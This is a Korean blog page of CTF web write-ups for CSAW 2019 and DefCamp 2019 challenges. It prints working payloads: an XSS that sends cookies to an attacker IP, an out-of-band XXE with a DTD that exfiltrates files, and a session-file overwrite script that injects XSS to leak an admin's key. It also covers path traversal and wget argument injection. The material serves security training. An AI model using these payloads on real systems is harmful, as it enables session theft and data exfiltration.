root-me XSLT - Code execution

2019. 9. 21. 01:09

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Canhack.me Redirect3

2019. 9. 16. 22:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Baby CSP

stored xss가 터지는데 csp가 걸려있다. 룰은 아래와 같다.

default-src 'self'; script-src 'self' *.google.com; connect-src *

대놓고 jsonp쓰라고 알려주고 있다. google.com 서브도메인 아무거나 찾아서 공격해주면 된다.

payload = <script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='http://my_ip/'.concat(document.cookie);"></script>

flag = flag{csp_will_solve_EVERYTHING}


unagi

xxe가 있는데 필터링이 존재한다. ENTITY , SYSTEM 등 xxe 할 때 쓸만한 문자열들을 다 필터하고 있는데 인코딩을 utf-16be형태 써서 우회해주면 된다.

이걸로 필터 우회해주면 인풋으로 뿌려지는 값 길이가 죄다 짧아서 플래그 파일 내용이 제대로 안나오는데 이건 그냥 OOB로 우회해주면 된다.

payload.xml

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"'> payload

printf '%s' '?><!DOCTYPE svg [<!ENTITY % dtd SYSTEM "http://my_ip/evil.dtd">%dtd;%param1;]><users><user><name>&ssr;</name></user></users>' | iconv -f utf-8 -t utf-16be >> payload


evild.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">


flag = flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}


Secure File Storage

개인적으로 재밌게 푼 문제다.

문제에서 제공해주는 소스는 다음과 같다.

client.py

import base64

import getpass

import os

import sys

import requests


api_base = os.environ.get('SFS_API', 'http://web.chal.csaw.io:1000/api/v1/')


session = requests.Session()


def api_register(username, password):

    resp = session.post(api_base + 'register', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_login(username, password):

    resp = session.post(api_base + 'login', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_get_file(path):

    resp = session.post(api_base + 'file/read', data={"path": path})

    if resp.status_code == 200:

        return base64.b64decode(resp.content)

    return None


def api_update_file(path, content):

    resp = session.post(api_base + 'file/edit', data={"path": path, "content": base64.b64encode(content).decode('ascii')}).json()

    return resp['status'] == 'ok'


def api_create_file(path, content):

    return api_update_file(path, content)


def api_delete_file(path):

    resp = session.post(api_base + 'file/delete', data={"path": path}).json()

    return resp['status'] == 'ok'


def api_list_files(path='/'):

    resp = session.post(api_base + 'file/list', data={"path": path}).json()

    if resp['status'] == 'ok':

        return resp['data']

    return None


def api_create_symlink(path, target):

    resp = session.post(api_base + 'file/symlink', data={"path": path, "target": target}).json()

    return resp['status'] == 'ok'


if __name__ == "__main__":

    try:

        input = raw_input

    except NameError:

        pass


    username = os.environ.get('SFS_USERNAME')

    if username is None:

        username = input('Username: ')


    password = os.environ.get('SFS_PASSWORD')

    if password is None:

        password = getpass.getpass('Password: ')


    if not api_login(username, password):

        print("Invalid username or password")

        sys.exit(1)

해당 코드를 통해 직접 api 기능을 요청해보면 로그인한 계정의 현재 경로에는 파일 읽기,쓰기가 되는데 다른 경로로 요청하면 경로 검증을 하고있었다.

이걸 우회하기위해 symlink 기능을 사용해주면 되는데, 현재 경로에 내가 읽고싶거나 덮고싶은 파일을 대상으로 심볼릭 링크를 걸어주면 된다.

이걸로 소스코드를 쭉쭉 leak 해보면 아래와 같이 내가 생성한 일반 계정과 같은 경우 읽기,쓰기 권한만 있고 리스팅,어드민 권한이 없는걸 볼 수 있다.

<?php


require_once 'db.php';


abstract class Privilege {

    const FILE_READ = 1 << 0;

    const FILE_WRITE = 1 << 1;

    const FILE_LIST = 1 << 2;

    const ADMIN = 1 << 3;

}


class User extends DBObject {

    public $username;

    public $password;

    public $privs = Privilege::FILE_READ | Privilege::FILE_WRITE;


    public static function getByName(string $username) {

        return DB::getObjectByProp(get_called_class(), "username", $username);

    }

}

문제에서는 어드민 파일을 찾으라고 했고, listing 기능이 존재하는걸 보니 해당 기능을 써야될 것 같다는 생각이 들었고, 어떻게 해야할지 생각하다가 그냥 session 파일을 수정해버리면 되겟다고 생각했다.

path=1234567&target=../../../../../../../../tmp/sess_huqtp469i1ni15bs96tfpgq7p7 

이런식으로 링크 걸고 읽어보면 현재 내가 로그인한 계정의 객체 정보가 아래와 같이 박혀있는걸 볼 수 있었다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:3;s:2:"id";i:242;}

여기서 privs가 계정의 권한이었는데 아래와 같이 이걸 15로 바꿔서 리스팅,어드민 권한까지 추가해주니 관리자 페이지, 리스팅 기능 사용이 가능해졌다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:15;s:2:"id";i:242;}

여기서 이제 됬구나하고 리스팅 열심히 하면서 플래그 파일이랑 어드민 관련 파일 같은걸 찾아봤는데 암것도 없었다.

뭐지 하다 어드민 계정이 업로드한 디렉토리에 존재하는 flag.txt를 읽어보니 아래와 같이 암호화된 값이 박혀있는걸 볼 수 있었다.

flag.txt

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

이 값과 같은 경우 해당 문제에서 파일을 업로드 할 때 파일 내용을 localStorage의 키 값을 통해 암호화해서 저장하고 있기 때문에 admin의 localStorage key값을 leak해야 했다.

이걸 가능하게 하려면 xss를 터트리는 수밖에 없어서 코드를 유심히 보니 admin이 로그인한 세션에 username값에 스크립트를 박아넣으면 admin이 admin page에 접근할때 xss가 터져서 key값을 leak할 수 있겠다 싶었다.

그래서 이 시나리오대로 진행하려고 어드민 session을 찾기 위해 tmp 디렉토리에 있는 session 파일을 리스팅해보니 한 3만개정도가 있었다...ㅋㅋ

너무 많아서 당황했다가 일단 합리적으로 생각을 해보기로 했고, admin 봇이 지속적으로 새로운 세션을 통해 로그인하고 있지 않을까? 라는 생각에 리스팅을 연속으로 두번진행해서 새로 생긴 세션에 대해 xss를 박아넣어면 하고 아래 코드를 미친듯이 돌려봤다.

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


for k in range(0,100):

    

    list_1 = get_list("123456")

    list_2 = get_list("123456")

    result = list(set(list_2) - set(list_1))

    print result


    for i in range(0,len(result)):

        file_path = "../../../../../../../../tmp/" + result[i]

        link(file_path)

        read(file_path)

        edit(file_path)

        read(file_path)

한참 돌리니까 새로 생긴 세션 중에 admin 권한을 가진 세션도 있었고, 해당 세션을 overwrite해서 xss박으니까 가끔 key값이 날라오긴 했는데, 이게 진짜 어드민이 아니고 죄다 다른 문제푸는 사람이었다..ㅋㅋ

그래서 한참 고민하다 admin이 계속 고정된 세션을 유지하고 있는거면 대충 3만개 중에 진짜 어드민 세션이 있을거고, 이중에서 username이 admin이고 priv가 15, id가 1인애만 어떻게 찾으면 되겠다 싶었다.

그리고 이 생각대로 쭉 진행해봤는데 위에서 admin이라고 판별한 기준인 파일들이 엄청 많았다. 이게 근데 생각해보니 그냥 문제푸는 사람들이 세션 파일 내용 오버라이트가 가능하니까 admin이라고 보이는 객체를 엄청나게 생성해서 세션 파일 내용만가지고 도저히 어느게 진짜 admin session인지 구분할 수가 없었다.

여기서 한참 머리싸매다 문제 힌트로 어드민이 계속 사이트에 방문한다고 했으니, 이게 만약 봇이 로그인->어드민페이지 이 루틴도는거면 고정된 세션이라는 가정하에 내가 어드민 세션 파일을 덮어도 다시 어드민 원래 값으로 돌아올거라고 생각했다.

이 시나리오를 토대로 전체 세션 파일에 대해 

읽기 -> 쓰기 -> 읽기 -> 읽기 -> 읽기 -> 읽기 -> 읽기

요 형태로 진행했을때 내가 세션 내용을 덮은 후에 다시 원본 값으로 돌아오는 세션을 찾았다.

여기서 거의 반포기 상태로 돌린거였는데 파일 하나가 나왔다...

sess_4umud1lupqn0mpibor27r283o1

이거 가지고 아래 코드를 통해 xss를 다시 박아보니 admin의 localStorage.encryptSecret 키를 leak 할 수 있었다.


leak_key.py

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path



for i in range(0,100):

    file_path = "../../../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1"

    link(file_path)

    read(file_path)

    edit(file_path)

    read(file_path)

localStorage.encryptSecret = wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=

leak한 키 값으로 flag.txt에 있는 암호화 파일을 복호화 했더니 플래그가 나왔다.

CryptoJS.AES.decrypt("U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==",atob("wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=")).toString();

Flag = flag{fddb53d704808cb859862d3eb9e9609bae3711bb}



'CTF > Writeup' 카테고리의 다른 글

CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

JWT (Json Web Token) Attack

2019. 9. 14. 18:54

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Downloader v1


들어가보면 url 입력하는 기능하나가 있다. default로 박힌 값을 입력해보면 아래와 같은 에러가 뜨는걸 볼 수 있다.


cd uploads/5d7623f3880b62ddb90e13f31a558

$ wget http://example.com/image.jpg 2&gt;&amp;1

--2019-09-09 10:05:39--  http://example.com/image.jpg

Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946

Connecting to example.com (example.com)|93.184.216.34|:80... connected.

HTTP request sent, awaiting response... 404 Not Found

2019-09-09 10:05:39 ERROR 404: Not Found.


$ bash -c 'rm uploads/5d7623f3880b62ddb90e13f31a558/*.{php,pht,phtml,php4,php5,php6,php7}'


인풋이 wget의 url 인자로 들어가는데 \n , ; , | , & , ` , $ 등 죄다 막혀있다. 그리고 추가로 php 실행 확장자면 삭제하길래 웹쉘 올리면 되는건가 싶어서 http://my_ip/webshell.txt -O /var/www/html/uploads/이전의생성된디렉토리/webshell.php 이런식으로해서 php 올리고 실행해보니까 실행이 안됬다. 뭐지 하다가 커멘드 인젝션은 안되도 wget 옵션이랑 인자는 줄 수 있으니까 쓸만한거 있나보다가 --input-file 요거 사용해서 flag.php 읽었을 때 도메인에러 나게해서 플래그를 구했다. 


payload = http://example.com/image.jpg --input-file='../../flag.php'




imgur


문제에 들어가보면 일단 lfi가 터진다. 그래서 웹쉘을 아무렇게나 올리고 땡겨주면 된다.


뭐 땡길까 보다가 일단 업로드 기능이 있었다.


프로필 사진을 변경할 때 아래와 같이 i.imgur.com이란 도메인에 존재하는 파일 내용을 가져와서 업로드를 한다.


https://imgur.dctfq19.def.camp/index.php?page=profile&setpicture=https://i.imgur.com/W4a51sL.jpg 


이 때 setpicture 파라미터 값에 대해서 도메인이랑 확장자 검증을 하는데 이게 우회가 안된다.


그래서 해당 사이트에 직접 웹쉘이 박힌 이미지 파일을 올려야 되는데 그냥 대충 이미지 파일에 웹쉘 넣어서 올리면 안되길래 


https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/


요고 참고해서 웹쉘 박아서 올렸다.


그다음엔 그냥 i.imgur.com에 올린 웹쉘가지고 프로필 사진 업로드한담에 lif로 땡겨주면 쉘 딸수있고 플래그 찾아주면 된다.



api


문제 서버가 닫혔는데 대충 기억해보면 ///etc/passwd였나 이런식으로 요청해주면 file download가 된다. 


이걸로 소스 쭉쭉 긁어오면


if(urlParts[0]) {

    switch(urlParts[0]) {

        case 'getconfig':

            functions.getConfigFromVault(request, response);

        break;

        case 'proxy':

            functions.getProxy(request, response);

        break;

        default:

            new doRequest(request, response);

            break;

    }

} else {

    new doRequest(request, response);

}


getProxy: function(request, response) {

   this.getRequestFields(request, global.config, function(fields) {


       if(!fields || !fields.url) {

           response.end('Invalid fields.');

       }



       if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) {

           response.end("Invalid request");

           return;

       }

       

       fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString();


       var options = {

         host: global.config.PROXY,

         port: 2222,

         path: fields.url

       };


       http.get(options, function(rresponse) {

         var body = '';

         rresponse.on('data', function(chunk) {

           body += chunk;

         });

         rresponse.on('end', function() {

           response.end(body);

         });

       }).on('error', function(e) {

           response.end("Got error: " + e.message);

       }); 

   });

},


요런 코드가 있다.


getproxy?=/get_secret/key 요런식으로 요청해주면 되는데 /랑 get_sercert를 필터한다. get_sercret같은 경우 검증한 담에 lowercase해줘서 get_secreT 이런식으로 써줌 되고 /같은 경우 필터 후에 Buffer.from(fields.url.toLowerCase(), "latin1").toString(); 요 작업을 거치기 땜에 %c4%af 요 값으로 bypass해주면 된다.


그리고 key같은 경우 ///proc/self/environ 파일 내용 확인해보면 존재한다.


payload = %c4%afget_secreT%c4%aff0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0



online-album


이건 풀려고보니까 대회가 끝나서 문제를 못봤었는데, 대회 종료 후에도 서버가 계속 열려있길래 한번 풀어봤다.


문제에 들어가보면 다운로드 기능이 있는데 경로를 아래와 같은 형태로 url double encoding해주면 파일 다운로드가 가능하다.


/download/%25%32%65%25%32%65%25%32%66.env


이걸로 .env읽어서 app_key따고 cve나온걸로 rce해봤는데 패치 버전인지 잘 안됬다.


그래서 좀 헤매다 기능중에 주석에] 파일 목록들을 base64인코딩해서 뿌려주는 기능이 있었다.

/album/cars

 <!-- Debug: 

MS5qcGVn.5d7896147325e

Mi5qcGVn.5d78961473265

My5qcGVn.5d78961473268

NC5qcGVn.5d7896147326b

NS5qcGVn.5d7896147326e

 -->


다운로드 할때처럼 url double 인코딩해주면 다른 경로 디렉토리 리스팅이 가능해서 이걸로 플래그 파일을 찾아봤는데 도저히 안보였다.


그래서 일단 소스를 쭉쭉 다운로드 받다보니 auto_logout 기능 수행 시 command injection이 가능했다.



    public function auto_logout(Request $request)

    {

        Auth::logout();

        //delete file after logout

        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';

        shell_exec($cmd);

    }


이걸로 명령어 실행해서 find로 플래그 파일찾아보니까 플래그 디렉토리가 숨김형태로 되어있었다. 
이거때문에 리스팅 기능에서 플래그 파일이 안보였었던거고 여기서부턴 그냥 플래그 파일명 찾아서 읽어줬다.







'CTF > Writeup' 카테고리의 다른 글

InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
DEF CON CTF Qualifier 2019 veryandroidso  (0) 2019.07.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.